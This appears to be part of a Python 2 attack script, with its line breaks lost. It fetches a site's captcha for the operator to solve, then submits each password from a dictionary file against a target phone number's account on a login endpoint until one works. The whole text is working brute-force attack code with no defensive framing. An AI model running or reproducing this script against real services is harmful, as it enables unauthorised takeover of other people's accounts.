# Get verify code ret = sess.get(url + 'customerdyn/verify/getverifycode', headers=headers) withopen('verify.png', 'wb') as f: f.write(ret.content) print'[+] Get verify code success.'
verify = Image.open('verify.png') verify.show() vcode = raw_input('[*] Please input verify code which you get: ')
# Brute login form success = False data = { 'validateCode': '', 'mobileNum': '', 'passWord': '' } data['mobileNum'] = raw_input('[*] Phone number you want to brute: ') data['validateCode'] = vcode dic = raw_input('[*] Dictionary absolute path: ') withopen(dic, 'rb') as f: for password in f.readlines(): data['passWord'] = password.replace('\n', '').replace('\r', '') print'[*] Tring password [%s]' % data['passWord'] ret = sess.post(url + 'member/method/loginin.shtml', headers=headers, data=data) if json.loads(ret.content)['status'] == '0': success = True break if success isTrue: print'[+] Find password [%s] of user [%s]' % (data['passWord'], data['mobileNum']) else: print'[-] Password not find.' print'[*] Done.'